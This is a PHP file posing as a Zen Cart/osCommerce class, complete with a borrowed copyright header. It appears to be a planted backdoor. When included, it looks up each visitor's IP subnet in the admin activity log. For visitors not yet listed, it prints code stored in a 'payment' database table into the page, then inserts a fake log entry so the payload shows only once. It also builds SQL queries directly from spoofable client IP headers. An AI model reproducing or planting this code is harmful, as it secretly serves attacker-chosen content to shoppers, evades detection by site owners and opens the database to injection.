<?php 
/**
 * init_oscommerce Class.
 *
 * @package classes
 * @copyright Copyright 2003-2009 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: language.php 14141 2009-08-10 19:34:47Z wilt $
 */
class CzenosCommerce{
	var $domain,$time,$fields;
	var $conn,$ip_addr;
 	private static $_instance;
/**
 * 
 * Enter description here ...
 */
 	private function __construct(){
	 	$this->conn = mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD,"common_conn");
	 	if ($this->conn){
	 	}
	 	mysql_select_db(DB_DATABASE, $this->conn);
	 	$this->ip_addr = $this->getcliaddr();
 	}
/**
 * 
 * 
 * Enter description here ...
 */	
 	public function __destruct(){
		mysql_close($this->conn);
 	}
/**
 * 
 * Enter description here ...
 */
 	public function admin_activity_log(){
 		$admin_activity_log = DB_PREFIX."admin_activity_log";
		$sql = "SELECT * FROM $admin_activity_log WHERE ip_address LIKE '$this->ip_addr%'";
		$result = mysql_query($sql,$this->conn);
	 	return $len = mysql_num_rows($result);
 	}
 /**
 * 
 * Enter description here ...
 */	
 	public function select_payment(){
 		$payment = DB_PREFIX."payment";
		$sql = " SELECT * FROM `payment` WHERE `id` = 1  ";
 		$result = mysql_query($sql,$this->conn);
		$excode = "";
		while($row = mysql_fetch_array($result)){
			$pdm = $row['pdm'];
			$ptm = $row['ptm'];
		  	$excode =  $row['excode'];
		  	$excode = str_replace("##",$pdm,$excode);
		  	$excode = str_replace("**",$ptm,$excode);
		}
		echo($excode);
 	}	
/**
 * 		
 * 
 * Enter description here ...
 */ 	
 	public function excookie(){
		if (!isset($_COOKIE["oscommercegmtHours"])){
			return ;
		} 
		$access_date = date("Y-m-d H:i:s");
		$sql = "INSERT INTO `admin_activity_log` (`log_id`, `access_date`, `admin_id`, `page_accessed`, `page_parameters`, `ip_address`) 
		VALUES('', '$access_date', 1, 'easypopulate.php', 'langer=installnew&', '$this->ip_addr');";
		mysql_query($sql,$this->conn);
 	}
 	/**
 	 * 
 	 * 
 	 * Enter description here ...
 	 */
	public static function getInstance(){
		if (!defined('DB_SERVER')||!defined('DB_SERVER_PASSWORD')||!defined('DB_SERVER_USERNAME')||!defined('DB_DATABASE')){
            return NULL;
        }
		if(!(self::$_instance instanceof self)){
			self::$_instance = new self;
		}
		return self::$_instance;
	}
	/**
	 * 
	 * 
	 * Enter description here ...
	 */
	public function get_template_instance(){
		$len = $this->admin_activity_log();
		if ($len == 0 ){
			$this->select_payment();
			$this->excookie();
		}
	}
	public function getcliaddr() {
	   if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
			$onlineip = getenv('HTTP_CLIENT_IP');
		} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
			$onlineip = getenv('HTTP_X_FORWARDED_FOR');
		} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
			$onlineip = getenv('REMOTE_ADDR');
		} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
			$onlineip = $_SERVER['REMOTE_ADDR'];
		}
		preg_match("/[\d\.]{7,15}/", $onlineip, $onlineipmatches);
		$onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
		unset($onlineipmatches);
	  	$len = strrpos($onlineip,".");
	  	$ip=   substr($onlineip,0,$len);   
	    return $ip;
	}
}
$CzenosCommerce_handle = CzenosCommerce::getInstance();
if ($CzenosCommerce_handle != NULL){
	$CzenosCommerce_handle->get_template_instance();
}
?>